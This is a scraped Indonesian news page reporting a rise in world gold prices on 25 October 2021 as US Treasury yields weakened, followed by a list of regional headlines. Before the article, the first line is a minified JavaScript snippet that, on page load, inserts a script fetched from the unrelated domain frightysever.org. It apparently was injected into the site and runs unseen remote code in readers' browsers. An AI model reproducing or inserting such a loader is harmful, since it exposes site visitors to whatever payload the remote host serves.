(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Harga Emas Dunia Meroket Setelah Imbal Hasil Obligasi AS Melemah


KANALKALIMANTAN.COM – Harga emas dunia melonjak sekitar 1 persen pada perdagangan Senin, karena pelemahan imbal hasil US Treasury dan berlanjutnya kekhawatiran tentang inflasi mengangkat aset safe-haven itu menjelang pertemuan bank sentral utama pekan ini.

Mengutip CNBC, Selasa (26/10/2021) harga emas di pasar spot naik 0,8 persen menjadi USD1.805,90 per ounce. Sementara, emas berjangka Amerika Serikat untuk kontrak pengiriman Desember ditutup menguat 0,6 persen menjadi USD1.806,80 per ounce.

“Alasan utama untuk reli ini adalah imbal hasil sedikit mundur tetapi harga masih berada dalam kisaran terbatas,” kata Daniel Pavilonis, analis RJO Futures.

“Kita memiliki banyak hal yang akan terjadi pekan ini dalam hal laporan keuangan dan data ekonomi. Mungkin ada situasi di mana inflasi akan berdampak pada laba perusahaan dan Federal Reserve menyadari hal itu dan dengan demikian akan dipaksa untuk melakukan tapering,” tambahnya.

 

 

Baca juga: Catat Sejarah, RSD Idaman Rawat 0 Pasien Covid-19 Setelah Setahun Lebih Dirundung Pandemi!

Imbal hasil US Treasury 10-tahun turun ke sesi terendah 1,6200 persen mengurangi opportunity cost memegang emas yang tidak memberikan bunga.

Emas jatuh dari tertinggi September, Jumat, setelah Chairman The Fed, Jerome Powell, menegaskan kembali pandangannya bahwa inflasi yang tinggi kemungkinan akan mereda tahun depan dan mengatakan bank sentral harus mulai mengurangi pembelian asetnya segera.

“Komentar Powell baru-baru ini mungkin telah memperkuat kekhawatiran tentang inflasi yang bertahan lebih lama, yang tampaknya semakin mengikis dukungan untuk kelompok yang selama ini menyebutnya hanya sementara, dan memicu tawaran yang lebih kuat untuk emas sebagai lindung nilai inflasi,” kata Han Tan, Kepala Analis Exinity.

Kini, fokus investor beralih ke pertemuan Bank of Japan dan Bank Sentral Eropa yang dijadwalkan Kamis, sedangkan pertemuan The Fed berikutnya pada 2-3 November.

Baca juga: Terkuak, Kapolres Nunukan Aniaya Anak Buah karena Kesal Gegara Zoom Meeting

Kendati emas sering dianggap sebagai lindung nilai inflasi, pengurangan stimulus dan kenaikan suku bunga mendorong imbal hasil obligasi pemerintah, meningkatkan opportunity cost memegang emas.

Di tempat lainnya, perak naik 0,7 persen menjadi USD24,48 per ounce. Platinum melesat 1,5 persen menjadi USD1.056,61 per ounce. Paladium melejit 1,3 persen menjadi USD2.048,77 per ounce. (Suara.com)

Editor: suara


Risa

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

2 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

5 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

14 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

15 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

17 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

18 jam ago

This website uses cookies.